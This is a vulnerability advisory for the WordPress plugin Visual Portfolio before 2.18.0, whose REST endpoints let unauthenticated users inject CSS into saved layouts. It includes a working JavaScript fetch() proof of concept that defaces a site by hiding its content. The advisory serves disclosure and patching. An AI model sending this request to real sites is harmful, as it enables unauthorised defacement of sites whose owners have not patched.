WordPress Plugin Vulnerabilities

Visual Portfolio < 2.18.0 - Unauthenticated CSS Injection

Description

The plugin does not have proper authorisation checks in some of its REST endpoints, allowing unauthenticated users to call them and inject arbitrary CSS in arbitrary saved layouts

Proof of Concept

The post_id is the ID of a saved layout

fetch('/?rest_route=/visual-portfolio/v1/update_layout&post_id=8&data[vp_custom_css]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};', {
  method: 'POST',
}).then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

Fixed in 2.18.0

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-08-15 (about 1 years ago)
Added
2022-08-15 (about 1 years ago)
Last Updated
2023-05-07 (about 1 years ago)

Other